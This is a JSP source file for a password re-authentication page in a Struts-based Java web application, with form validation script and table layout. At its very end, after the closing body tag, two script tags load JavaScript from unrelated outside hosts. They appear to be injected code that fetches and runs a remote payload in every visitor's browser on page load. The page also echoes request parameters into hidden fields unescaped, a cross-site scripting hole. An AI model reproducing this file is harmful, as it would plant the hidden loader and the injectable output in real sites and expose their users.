<%@page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="java.util.Enumeration" %>
<%@ page import="javax.servlet.http.Cookie" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<body  bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" onLoad="if (document.forms[0]) { document.forms[0].clientScreenWidth.value=clientScreenWidth;document.forms[0].loginName.focus(); }">

<%/*
   String currentURL = request.getRequestURL().toString();
   int firstSlash = currentURL.indexOf(request.getContextPath()); // jump past the starting slash
   String targetURL = null;
   if (firstSlash != -1) {
     targetURL = currentURL.substring(firstSlash+(request.getContextPath()).length() + 1,currentURL.length());
   }
   */
  String targetURL = request.getRequestURL().toString();
 %>
<script language="javaScript">
<!--
function ValidateInput() {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
       frm = document.forms[i];
       break;
     }
  }

  if (frm.loginPwd.value.length > 0) {
    return(true);
  } else {
    return(false);
  }
}
function opAuchenticate() {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
       frm = document.forms[i];
       break;
     }
  }
  if (!ValidateInput()) {
    alert("<bean:message key='errors.login.authenticate_input_missing'/>");
    return(false);
  }

  frm.submit();
  return(false);
}
function CheckLogin(e) {
  var code;
  if (!e) var e = window.event;
  if (e.keyCode) code = e.keyCode;
  else if (e.which) code = e.which;

 // if (code==13) {
  //  opAuchenticate();
  //}
}
-->
</script>
<%// TODO: Underlying form's action URL will display incorrect value whinin "TOMCAT 4.1.34"%>
<form name="submitForm" action="<%=targetURL%>" method="post">
<%
request.setCharacterEncoding("UTF-8");
for(Enumeration e=request.getParameterNames();e.hasMoreElements();) {
String paramName = (String)e.nextElement();
  String[] paramValues = (String[])request.getParameterValues(paramName);
  for (int i = 0; !Utility.isEmpty(paramValues) && !"loginPwd".equals(paramName) && i < paramValues.length; i++ ) {
%>
<input type="hidden" name="<%=paramName%>" value="<%=paramValues[i]%>">
<%}}%>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#F0f0f0" align="center">
  <tr>
    <td align="left" valign="top" >
      <table width="100%" border="0" cellpadding="0" cellspacing="0" >
        <%if(!"N".equals(request.getParameter("SHOW_HEADER_FOOTER"))) {%>
        <tr class="title_flow">
          <td align="right" valign="top" height='25'>
          <%if (Utility.isEmpty(request.getParameter("AUTHENTICATE_FAILED"))) {%>
          <html:standardButton label="common.label.return" onClick="javaScript:history.go(-1)"/>
         <%} else {%>
           <html:standardButton label="common.label.return" onClick="javaScript:history.go(-2)"/>
          <%}%>
          </td>
        </tr>
        <%}%>
        <tr>
          <td align="left" valign="top"  height='75'>&nbsp;</td>
        </tr>
        <tr>
          <td align="left" valign="top">
          <table width="350" height="180" border="0" cellpadding="0" cellspacing="1" bgcolor="#C0C0C0" align="center">
              <tr>
                <td align="left" height="30" background="<html:img src='LayoutTableHeaderPurple.gif' pathOnly='true'/>"><strong><font size="2" face="Arial, Helvetica, sans-serif">
                   &nbsp;&nbsp;<bean:message key='user.label.authenticate_request'/></font></strong></td>
              </tr>
              <tr>
                <td align="center" valign="middle" bgcolor="#F9F9F9">
                  <table width="100%" height="100%" border="0" align="center" cellpadding="5" cellspacing="0" >
                    <tr>
                      <td>
                        <div align="center">
                          <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                            <tr>
                              <td width="68" align="left"><div align="center"><html:img src='exclaimation.gif'/></div></td>
                              <td width="270" height="60">
                              <p><bean:message key='user.label.Password_require'/></td>
                            </tr>
                            <tr>
                              <td>&nbsp;</td>
                              <td>
                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                  <tr>
                                    <td align="left"><strong><bean:message key='user.label.authenticate_password'/>:  </strong></td>
                                    <td align="left">
                                      <input type="password" name="loginPwd" maxlength="20" size="15" value="" onkeydown='CheckLogin(event)' class="logintext"/>
                                    </td>
                                  </tr>
                                </table>
                              </td>
                            </tr>
                          </table>
                      </div></td>
                    </tr>
                    <tr>
                      <td align="right" valign="bottom">
                        <%if("N".equals(request.getParameter("SHOW_HEADER_FOOTER"))) {%>
                        <html:standardButton label="common.label.close" link="javascript:window.close();"/>
                        <%}%>
                        <html:standardButton label="common.label.submit" onClick="return opAuchenticate()"/>
                      </td>
                    </tr>
                  </table>
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<form>
</body>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>